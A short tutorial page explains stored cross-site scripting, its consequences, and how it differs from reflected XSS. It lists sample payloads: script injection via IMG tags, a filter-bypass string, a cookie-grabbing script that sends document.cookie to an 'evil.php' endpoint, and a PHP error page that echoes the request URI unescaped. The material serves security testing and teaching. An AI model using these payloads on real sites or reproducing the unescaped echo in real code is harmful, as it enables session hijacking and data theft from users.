Stored XSS
Stored is a Second Type of XSS attack
Stored XSS attack the vulnerable websites Supplied input from untrusted sources and stores it.
This malicious content also gets included in the later HTTP responses sent by the server.To perform a Stored XSS attack, hackers only need to identify a security vulnerability within the backend application that allows executing malicious requests.
The impact of a successful attack ranges from mild to full-blown compromise depending on the privileges assigned to the valid affected user.Some Consequences of successful XSS attacks include.
1)Session Hijacking Attacks
2)Disclosure of user files/data
3)Installation of malware/Trojan Programs
4)web content spoofing
Stores XSS differs from reflected XSS. In Reflected XSS the server executes the malicious content and includes it only in the immediate HTTP response. In stored XSS the arbitrary code gets stored.
Stored XSS Payloads
A persistent attack aims to inject bad code into popular user-supplied input points, such as comments on blog posts, username fields, and message boards. The payload lets the malicious user bypass XSS filters and input validation checks.
Knowledge of these payloads is essential for application security professionals looking to test and mitigate the stored XSS vulnerability. Some of these payloads include:
Image XSS javascript
<IMG SRC="javascript:alert('XSS');">
Bypassing HTML Encoding
<IMG SRC=javascript:alert("XSS")>
Improper Img Tags
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
Cookie Grabbing
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
Error-Page Manipulation
<html>
<body>
<? php
print "Not found:". urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
